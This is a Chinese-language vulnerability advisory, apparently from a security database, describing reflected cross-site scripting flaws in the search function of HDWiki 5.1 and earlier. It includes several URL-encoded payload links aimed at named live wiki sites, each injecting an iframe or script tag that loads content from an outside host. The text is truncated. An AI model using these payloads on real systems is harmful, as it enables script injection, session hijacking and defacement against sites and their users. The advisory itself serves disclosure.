互动维客HDWiki(5.1及以下)各种xss 0day

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 这个有一定的用户数量,可csrf、劫持首页、蠕虫等,cog也在其列。 ### 详细说明: 由于偶尔原因发现cog存在wiki导致的xss可劫持首页,发现它的wiki是hdwiki的5.1版本。于是测试了其他的hdwiki发现存在同样的xss问题。 问题总结如下。 1. hdwiki的搜索有非持久xss,如: http://www.laohuaxia.com/index.php?search-fulltext-title-%5C%22%3E%3Ciframe%2Fsrc%3D%2F%2Ftmxk%26%2346%3Borg%3E--all-0-within-time-desc-1 [<img src="https://images.seebug.org/upload/201208/04134051baa7115aba81ca041924317df46824b6.jpg" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201208/04134051baa7115aba81ca041924317df46824b6.jpg) http://wiki.chowngroup.com/index.php?search-fulltext-title-%5C%22%3E%3Cscript%2Fsrc%3D%2F%2Ftmxk%26%2346%3Borg%2Fq%26%2346%3Bjs%3E--all-0-within-time-desc-1 http://wiki.chowngroup.com/index.php?search-fulltext-title-TAG%3A%5C%22%3E%5C%27%3E%3Ciframe%2Fsrc%3D%2F%2Ftmxk%26%2346%3Borg%3E--all-0-within-time-desc-1 [<img src="https://images.seebug.org/upload/201208/041342013931f05f39948419eb98c21f2605b24f.jpg" alt="" width="600"...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息